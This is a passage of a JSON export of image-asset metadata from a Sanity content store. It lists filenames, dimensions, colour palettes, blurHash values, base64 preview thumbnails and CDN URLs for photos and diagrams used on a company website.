itle":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb49c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86957","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa643c","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DOJO_10_PIZZA_POS_250.jpg","path":"images/sczeoy4w/production/011be1ee4b6f75c4bcab5bd0094410db5b17393a-3500x2333.jpg","sha1hash":"011be1ee4b6f75c4bcab5bd0094410db5b17393a","size":1243490,"uploadId":"nZUIIB7zLDSwFfr9ZXNLbFnrsxeAfnU6","url":"https://cdn.sanity.io/images/sczeoy4w/production/011be1ee4b6f75c4bcab5bd0094410db5b17393a-3500x2333.jpg"} {"_createdAt":"2024-09-27T13:22:52Z","_id":"image-5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630-png","_rev":"YF0kK6uALbD7UqCF6IGhwj","_type":"sanity.imageAsset","_updatedAt":"2024-09-27T13:22:52Z","assetId":"5a2faa576bc2160fff4bfe4492c44746547cbe6d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4QA5Q~Hr;o,~m.64:x]%gkW^q02M|~SIc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABd0lEQVQokX2R3W6jMBBGef8nWqnNpm2alVJCNimkwfwFDMZjD9CFGe5XbpuuFEUrnYuR7GN948+zPQNOrR01joAEOGo7Ak6mI9Oz/S+etuNJlC9BuNm+7vZv+1D4QejvokOUpnmj7YjD/HkVhy/HdA4nKz0E+7f7n6sfdw+L5Xr1a7tYru8Wq6fnl0MkFAw4zICsgJVhQKdp/Bh69gCnUpokk3FaiUxm5zbJa5HKNG/K2rRmAuRScSjoNaZzw6ab4cPXyN4l0vyJ7b8Hd1xrx6ng52Ba+dMx49bOppsb4Exe5JsAcmO4UnwQ9OhPy83kh5TLubVzJilM6CJfPuMK0zk5iOjBybTekShclrigKHUyWTsa+6+hK1+2vD/R+jc9bWlzoEJyA9+yfcdC1qIQSZUWSsH7lawtlw3HZ44SjgtWMGtkFzslD82ASV5F8fGYnpKqafub4V1bhlv71bAynNfs2Y6sGQB6pQcFfwCnm8vj1XM9Q8d/AWLoU5MLgNi/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46474a","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#760f0e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#46474a","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb2a0","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb8d98","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45e6a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea5352","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-doc_meta-preview.png","path":"images/sczeoy4w/production/5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630.png","sha1hash":"5a2faa576bc2160fff4bfe4492c44746547cbe6d","size":63411,"uploadId":"kzp9lvhF4mcOy3BoRZyMtxTOVtQaO3Mi","url":"https://cdn.sanity.io/images/sczeoy4w/production/5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630.png"} {"_createdAt":"2024-10-07T13:35:48Z","_id":"image-bc7cb677d5b7163de85b372dbfbed7b5cebe33c8-512x512-png","_rev":"4aR3mHUmfiHzqe5SawEKfD","_type":"sanity.imageAsset","_updatedAt":"2024-10-07T13:35:48Z","assetId":"bc7cb677d5b7163de85b372dbfbed7b5cebe33c8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNEf1coc9^M|nj~obbNGsos:O;M|$jj@W:kpaMxGSNR*xtWCjbt6kA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEtUlEQVQ4jR3OWVMaBwAA4J22SZtkpmkybdACQkSjwWoU5Ag3LAssCyzHLrvALssliqIEkSMqKuYQsUqriWdMjNExTYy5zMQxnaZp0od20ulDXzr9BX3pf+i0P+Cb+YDN3erV8uhQLlMYzk/PlW7vzD46WDx4d/v1+63vf7n74s3qi59WDn6+9fLd2vPXSw8Pvt15Nru1V7n7oHzv4RwwtzzGRH0Op4MIeMNxKpEKp7Kx8an0+k75zv3p67ND1eWR3YP5/Tcr9/ers4uF69XM2vbkztOZB8/ngUKpz+ow25xIMhPLj/cNjfbE+ijcZ4904b19Phwzh8LOK+X+m+tjlYVcMOrBfEipMrD9pLL38gYQ7PIazYZIN7V+/+unP6zuvVq6sV6igiikk5GILuyCwi6IxiCGRpgwarODZsTQk6IWN0o7TxcAuwdW61VMzLe6Xd57tbh7cKO6PEKSFj+iW8rHXy6M75az17u9PpMcVLYjsM6NOTwEmi/231ytAGTQpdYrLTYokWayxZ7By3Eq7EJMyoku/Pft2X/ePvz7cPO3ldJ8AnepOiCtHMNdMGLx0+Tk1QkglY8ZTFo9pA33kAPZSO8AzQTs/ZTt3nji142pP3aX/3yw+NfG1Ktr/SlUp5W2WyyQHtRbEDgzNAgUp1JmG+jwwFPzhY3dyq2V0YVi99Zk72E1+10puTgYvZOLP59IbmcjKbfRoOjU6XUqrVqt1dAMDYxPX7KikBO3VtfGHh/efLZ97Ukl/eNC4f3a+KOxRLULu5WiNzLhghemYZ0Pc9FM0OPFDUajFUGA9HDchBj0kKY3w0xOp+cn+7fGEvvlS2+/KRxeST0rJl7P5h6XBi4T1ghqjsciqfRgIplE3S6jCQL8IdwEG5UaJQSDqBPu9jmuxPGZXmKmC5uLYGsDzGY+vjQQnAzYe90W3IVSQSYUjdpR1GKFAY/XQ/gID4a5Pe4oTZaS9ESXu8cNRmyapNOY89q6YZ1XKQropD6L3m6FHS6XxWo1mkx+igK8JEn4Ay4M97jdE6noo+n0TJ8XA6VBm240gheDHgZUaVoadaJWr9MeCoXdGK7SaBxONJMdApxOp0ZvaJfIJFLZJdq1X0ktpAhU3e4xKrIhLON3EnqF8sJ5pVSMog6C9JksFqVa5acCI6MjAGjQt3WIBM3ChubzTkh9ezi2UWCCkETb0WRWiMwKkaJd2CZsunChVSaXK9VqiUwmVyqoID08MgzIpNLzX7WdPdfMEzSK2ltzQXRzJFKkzbCkqfMcR8ivredxWlqEF5UKAwiaYVit1YqlEhfmyeZyQGtrW0OzkNdwjlsv4AsEJpV0POqudLt77BfN4gYhj8WuZYnEYsd/ZzJAUQ4n2imVqnXaUCQCNDY18/+XbP7ZWh6vXiAA5R0RRENDUl2bgMc6deqzk8KWFsSGEAThDwQIkgQho1xxEUYQgCdo4PLr2XX8Wm5dDbeuhsPlcrlN9XzhWS7ni9Mnjn989OiRMzUscacYBEGbzYZ7vR4cs6MoRpIAh1/P5vBq2XU1bC6Lw2WxOWdqvjz9OevTk6eOHT/x0dEjH3z44SfHjrFqWILGBolM6kAdOOH1M6FUfvhfnEWvdGsjm10AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56483f","foreground":"#fff","population":6.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e3321","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#826b5d","foreground":"#fff","population":7.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc9a1","foreground":"#000","population":3.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb89e","foreground":"#000","population":4.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#826b5d","foreground":"#fff","population":7.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad6452","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Gianluca Dessi.png","path":"images/sczeoy4w/production/bc7cb677d5b7163de85b372dbfbed7b5cebe33c8-512x512.png","sha1hash":"bc7cb677d5b7163de85b372dbfbed7b5cebe33c8","size":395680,"uploadId":"hEcb1LK0s5XhZfgVH7jjTH3FdaiXwGO9","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc7cb677d5b7163de85b372dbfbed7b5cebe33c8-512x512.png"} {"_createdAt":"2024-10-07T13:36:53Z","_id":"image-68c2dd630de0d9703f6d4bb64700dfa1add5bf07-400x400-jpg","_rev":"4aR3mHUmfiHzqe5SawER4o","_type":"sanity.imageAsset","_updatedAt":"2024-10-07T13:36:53Z","assetId":"68c2dd630de0d9703f6d4bb64700dfa1add5bf07","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKK-wk*0PVt7VC#4Z}XnWXspTzW?VXkDb^S~fks8jDWAW.jYi_bcX9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgf/xAAfEAACAgIBBQAAAAAAAAAAAAABAgADBBEhBRITMUH/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAgP/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQMCMRH/2gAMAwEAAhEDEQA/AOoZR8OO9g9gSrxc42Zhodw4Ze4HWtS7vpNmO6sCAVPOpkuk1WV9VtJqsIK6DMfsiuKLeWuGkNSc9p9LlyO4xIORcUuZW4IiV6ZeGs8za+e9SJkaSu11ADc86iIpUPiYfLvd7izHkxEQzXWJLh//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445773","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a3929","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3d3ee","foreground":"#000","population":14.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c4d9","foreground":"#000","population":5.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3d3ee","foreground":"#000","population":14.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bb8b74","foreground":"#000","population":11.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9a6147","foreground":"#fff","population":2.77,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Christophe.jpeg","path":"images/sczeoy4w/production/68c2dd630de0d9703f6d4bb64700dfa1add5bf07-400x400.jpg","sha1hash":"68c2dd630de0d9703f6d4bb64700dfa1add5bf07","size":24082,"uploadId":"ABPbg2ELyV6fXsnM06BkMhk3Eayj3kKN","url":"https://cdn.sanity.io/images/sczeoy4w/production/68c2dd630de0d9703f6d4bb64700dfa1add5bf07-400x400.jpg"} {"_createdAt":"2024-10-03T14:27:20Z","_id":"image-428ceef53aba859183d3ebd788b3b7936d9d8a36-3500x2333-jpg","_rev":"WvYfyMjuvK5pr969lNm3GM","_type":"sanity.imageAsset","_updatedAt":"2024-10-03T14:27:20Z","assetId":"428ceef53aba859183d3ebd788b3b7936d9d8a36","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCE:Vt?GvJ_Nm6TK$e$fn2tS00#+$*8^lAOH9vI]OYIA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5002143163309045,"height":2333,"width":3500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBAb/xAAlEAACAQMCBQUAAAAAAAAAAAABAgQAAwUGEQcSEyFhFTFRcYH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBf/EABwRAAMAAgMBAAAAAAAAAAAAAAECAwAREiKxQf/aAAwDAQACEQMRAD8Aty9ErjMZeESQXiW35gpcFv0+Kg3Db1qHbeJkgpUhyrr7UgEC/Hhc1qfICOO6E7g0tj6qzGKjyIsWWwtuenuR3A8GljROIWZ2NeYFo02z1HbfuLtXYmdj83diiYl7pgAsjbj6orPzclIMl+Ztzv3PzRU17MzEjLE5TRQp+Z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324a57","foreground":"#fff","population":2.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c5c5d","foreground":"#fff","population":0.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#324a57","foreground":"#fff","population":2.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc1d0","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bbddfc","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c92aa","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b76143","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DOJO_11_PIZZA_MANAGER_131.jpg","path":"images/sczeoy4w/production/428ceef53aba859183d3ebd788b3b7936d9d8a36-3500x2333.jpg","sha1hash":"428ceef53aba859183d3ebd788b3b7936d9d8a36","size":1168031,"uploadId":"QS9UXajSHpk1x62HKKuFg6tz3SGFMii4","url":"https://cdn.sanity.io/images/sczeoy4w/production/428ceef53aba859183d3ebd788b3b7936d9d8a36-3500x2333.jpg"} {"_createdAt":"2024-05-08T12:25:50Z","_id":"image-4beb0accb34167fc199bbbb2db13910141f414e1-1982x1538-png","_rev":"mdEU5AcDfd24wlw26FEUeU","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:50Z","assetId":"4beb0accb34167fc199bbbb2db13910141f414e1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V1Q0m%0:.Ac=9a00yB9X=~?a00?axrsrf500x__49?D*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2886866059817945,"height":1538,"width":1982},"exif":{"PixelXDimension":1982,"PixelYDimension":1538,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAACCElEQVQ4jZWSy27TQBSGLYRU2LBBbJAQpaxYsgAJHotLJSSQQE0lFqgBJOizQCA0BrW8Q1KoUIib2J6xZ85c7CT+0Uyapolo1Sw+eTzH8/n49wmuv9zBjVctuOu1F99w9XkTV559xeX1L1hZb+DSKbjaytMGLj5p4MLjzwgefZpwb2sXD97u4eG7n7hf38PdN7u48/oHbm+GWKuFWNs8g1qIW7UQq7UWVjdauLnRQvAx7GA73Mf291/4EO7j/U4H9WYbW8026s3O0gTdmOP3YYp2L8F+lOAginEQDfCnn+JvwpcmyPMc/ThBN+oj6g+QJAkYY8iyDFIKENFSBNwLY3R7EXrRIZI0Bc9yZHkOIQlKa2hjzk2QCwHOM6QpA+Mc7p5IeZzMWjuhKGbrExRFMUeQC4lMSOSSQEpDKQ2ttRdKIr/2+A40JAmQJr92wrIs5wiciAkFThbGzgouD5ejUur4JcoQUhmDUQpjNYbDIUajEcbjMUZHeGEqDRgVMOWk6CClwDmfZHiEsoSY+khoAFsajKsK1QJemEiDdCqsqomQlM902qGaCuVMWJ0mnHZoF4T8f0I6j1AoMGlgy6HfnAgJjM2E/rOtQiJjzxlCiTQTYLmEsYUP2YUt3c9ifDa0Tmw0mGAeY41/dhE/hy4rN4vukBsFYy2EkH5fSHmMiyHLhZ/VuRk9wT/i3TvcKvzW8QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646566","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1069a0","foreground":"#fff","population":0.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0572b9","foreground":"#fff","population":12.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8ccbe","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94ecfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#868787","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0572b9","foreground":"#fff","population":12.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"upload-files-s3.png","path":"images/sczeoy4w/production/4beb0accb34167fc199bbbb2db13910141f414e1-1982x1538.png","sha1hash":"4beb0accb34167fc199bbbb2db13910141f414e1","size":273668,"uploadId":"LCXwaG3r3bNAcLGY5MJZQioBI7PlQ00T","url":"https://cdn.sanity.io/images/sczeoy4w/production/4beb0accb34167fc199bbbb2db13910141f414e1-1982x1538.png"} {"_createdAt":"2024-05-07T14:03:22Z","_id":"image-f54beca6f8541c4d2cfd14628247b0d1375ac0a1-2085x852-png","_rev":"D7vB9OkcEm2Q5QYimD1y9K","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T14:03:22Z","assetId":"f54beca6f8541c4d2cfd14628247b0d1375ac0a1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDSYQ}%2kp%LV]_OjEWARkk9.nbbbcayax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4471830985915495,"height":852,"width":2085},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+ElEQVQokUXPv2sUQRwF8PtnxDIBy0SxsPAfsLKwstLGgE1OQazFwsJgJKIgaJkuxpMzGBAl/ggSxMTcXSJ33P6e3ZndnZ3ZmffkzsLiNe8LH9634x5e3cOdC5J3L5KrS0B3OfSPrn3E/cuHuHnWcmWB7J4HVxbJG2cs7l068o+v72J1acJbC2B3Gbx9jlhZLPDgyl7H7fdyv/OybXvP6HobwO5rg4Md4T9tKre15v32On3/Bdz2Ot3WGvB5s8LPDxl2X2n35glMbwPu7VPi/fMWP94VHVeX1HHI9PAXitGATgnCaNpSssoS1CKhFilVlKCMU7aVIq2mqyTj6RTDwQmzYApfFaTR7DjvoYTE+OCI4eAU1liAhGkdpLacRdUOWd5SFC1sOzsT1gGjUPHLcYhJouj8v77jXIu6rBCNp8zCmNYYGGNRqBKFLCFTQRnGKFLFQmrU2sC1FtZUSITAaSAYpYpaG3jvZ6BjXWuGUcwsE2yMZZZLnk5CRkHEZP87g50+s+GIiSgYC8mqzGnUgI0aUIiUJ38iToOM1racg1VVMwhCpmnGpjHMC8VJEDMJY8bfvnLa71EMR0xzOQdLJWjkb1p1zFykHI4Cjifxf9BaS6XKOdw6R2PsfPUMb6RiLQRNref97IPWWtqmnKdpGkpZsSw1nff8C/wCQqFjDEhdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29303d","foreground":"#fff","population":2.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c91d18","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5104","foreground":"#fff","population":7.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bbc7","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c2a1","foreground":"#000","population":1.45,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65f9d","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5104","foreground":"#fff","population":7.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"group-stream-store-serve-services.png","path":"images/sczeoy4w/production/f54beca6f8541c4d2cfd14628247b0d1375ac0a1-2085x852.png","sha1hash":"f54beca6f8541c4d2cfd14628247b0d1375ac0a1","size":53249,"uploadId":"JFm478FJ7Xr5pjMXfTHkjEccxr6BoiAo","url":"https://cdn.sanity.io/images/sczeoy4w/production/f54beca6f8541c4d2cfd14628247b0d1375ac0a1-2085x852.png"} {"_createdAt":"2024-05-07T14:15:05Z","_id":"image-6da8755986aa0125b414226596fc520d2f2d168d-1614x1143-png","_rev":"djBW4fytXpbxkquf75sEWU","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T14:15:05Z","assetId":"6da8755986aa0125b414226596fc520d2f2d168d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYLNAJtRK5a0D$rW?^S#wJofxuE2R*s.oM4.VsnOELo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4120734908136483,"height":1143,"width":1614},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEO0lEQVQ4jTWSa0xTdxjG3yKXKI0uuCnJZlimk3mZixAHqIiKZpGNgQOmMnXORPZBdiGLC9lCdKLRLWp0W+LmLQtsusXFOYrAnDbgzEAKBXqA3i/0ymlL29PT9pzzP+3/XWqyD7/k+fDk9+HJA5evdF17s7bNXF75WapyVyvdsvMYlm1tiTUdvaQeGzd/kUrJFQ67cxEiAo71ghcRHIOPIN68LlM+lJ+TairIwlNVgCsB6FsAoJu0uq7e6I23n/mFtp+9mQbPnPtNvtc3PBcKRyeTSfl81ONYI9dl5mBDZhYWQQYCKHANZONGUOJayEkCAD22AXBPDgDPx9Hl9tPBUQP9+/EE1ejM1GDzUDbIISEykYnUI9gntyX3zM/DRuUzQmfbc9zjrhWhB7++Fu37qYhoepajx5Arx3mIAwDIsowJUcRJqxP7R6fR7PJhMBZHTpRQkmVZlsT7op3ZKddnLU5+tGYJN6Iu95gtxy2M/rp9ynA96Ha3xgLsWodmaF56FiCEEEEUicvLkimTjXjZAOESghQVJJKQSIJIUrcU9JYn6+flYvuWPNEyUembcX9vnLb2GqcsvT6X97wYCRUjYsaPFzoARFFUpYlGo6qQn+3hQ8E+URS6RUJUoiTdFUXxRIKPrtI2rMzqatyuHFZ1L9dpmB0j/YPvah4M7NE8Htneo3r0Qu3bn2dX159UAMdxpXwsVspHuTJ+xlgRN2krE8HZzQlBKIvHYqWRCLcqkeCVS/Nrchfn7y7OL9hbX7j2g/0lxYcOlaw/cLhw9cH9Swv2NSxa+k4ZZFQuhN5ulaLf7FMY/7yhiDXm5QhVsMBZCBlP9wCA/EXrIJ03bWtZvmzF/pPPv/Te0Or1TcyGjc3M65uamVeLP2SWvXxg9MVX3r/cdPRixdPyv4eLAB9eU8gdrUpy+8wSSTeQRyLBhSToU9oYfSYizjt+qqOiqratr3TLp2RHVStW1x3HmvoT+Eb1l1hS/kmqbl+75f6DkU4Ie52Abh2k5rzZMaeliDWbjlgN1har2fmx1+lpDM3YV+CMNlet1tT8cFU1/NXpztTpr2/Scxd/pxe+vUO/uXCbnjp7i/586yFxuQMRSMY4QJoAFHllLBQ66HJ4/hkfNzu0Yyabxei4FzRNVxPVxWcDDlsDo9OP/nW/n/YPDNEJnZFOTlno+ISBasemqc3uRkEQEWg8CogUkMQXCFGu3u303dFqjU9GNPpBk97WETAwO+XuS4v5WVcDo5sYvXv3D6pWq9FkMlGLxUIZhkGtVkutVisVBIECxsKAKAEKXKbMRwpCs+xWm8lRZTbYd3kcrs3cjDWfm34yPzw3t9toNGoGBgZoWuDxeNI8Fet0OkzLeZ6nkArNgtegB2HWBRj1A6KoSJ/0f747shcm9KZslvXX+v1+jdfrpSzL0nA4nAYDgQD6fD5kWRYjkQj+B/w68eoaq9jZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#533331","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#591108","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adbac8","foreground":"#000","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adbac8","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a8d6","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc613e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-database-optimizer.png","path":"images/sczeoy4w/production/6da8755986aa0125b414226596fc520d2f2d168d-1614x1143.png","sha1hash":"6da8755986aa0125b414226596fc520d2f2d168d","size":38092,"uploadId":"wWu3jN98Nn08eNYpDfeP7eYFScj3rDkw","url":"https://cdn.sanity.io/images/sczeoy4w/production/6da8755986aa0125b414226596fc520d2f2d168d-1614x1143.png"} {"_createdAt":"2024-05-07T14:12:55Z","_id":"image-a45cf8541a557febe436efed9a6e58a5a233de1c-1614x1143-png","_rev":"D7vB9OkcEm2Q5QYimD3bh8","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T14:12:55Z","assetId":"a45cf8541a557febe436efed9a6e58a5a233de1c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VZLNDQtRJ-iwD%rX?^S#wIofxuE2R+s-of4:VsnOIokq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4120734908136483,"height":1143,"width":1614},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEO0lEQVQ4jTWSa2xTdRjG345dAqtohiAfFjEZuhAI4oiyyaXMcRFkwtjmxiQEiWAwKELQLIKXMI0YGRchgQ9gkAWDEpmwwQaMxU5kY2vL1rNLL6dr18vpztq1PT2nPef8z/p/TZf44Zc8H578Pjx54ErTvUt1u084N209lnqn4mu6sfwobiw/Kn125EJn/4Dzy9QUMYx5fM8iIuDTNuAQwdPdBYkDSzO13fNzUvsWZOF3mwFfAaBbAGBo2OO7eq0j8WPjH/TEyd/T4Kmfb2r3Hpgmo1FxcErTGuMBz2KtMjMHqzOzsAgyEECHiyEb3wQ9LoGcKQCgn78OWJMDIIoJ9AdCtMdipx3/DlCTlaX2UY7ykwISohGNqHdl92DpVM3MPKzTPyc3fTVXeHR7YaTj+qvx9itFpO9uAQZsuVpChAQAgKZpmJQVHGS9+Ld5GJ2+IIalBAqyiqqmaZqq3FfczHqtKmvO1CeL5wmmztUBJ/sNy4xcdg/ZLof9/nopxC/x9PXMSM8ChBAiKwrxcTwZco4Sjg8RISmrcVklSZUkiaq2qmFudapqRi42GPIU10BZcMx/3j7karMPsW1BH9coxyLLETHj4qlfARRFaUkTj8dbIhP8XTESblcUuVUhpEVR1b8URfk2KcYXmatezrpVW6rvvd1aYDUx68zG7vdMD7tqzI8tb7XfeZS/fVt9dnnVcR0IglAsSlKxGBdKxDG7IeGwlCXD46uSslySkKTimCAsSkhxff6LlbkLF+1avuyN/VUrDQd3rlu7f/e6Nfv2LC36cOcLC3ZUPzO3ogQyymZDW2uLzugM6uy3ftFJdXk58maY5S2EjOk9AOC1wrWQzhu21BesWHPw+MrSwz2lG79gSjccYdaUHWaWrfiYyS/YaX6pcNeFjw6cMUyXH+8pAnx4SaddrdeTGz/MU63GPBILzybhoD7gcGUi4owTJ68bPtjX2L69toFU7mjAytoGrKg5jm+/ewxLDIdS1e9/z97vMDdBlPMC+q2QmuSyJS9bxDsde1021yGX0/sp5w3URcfcCwnbm9vVZdnadO1Bb+PZG6mfTt+gp8/dpGfON9PGs39O//e3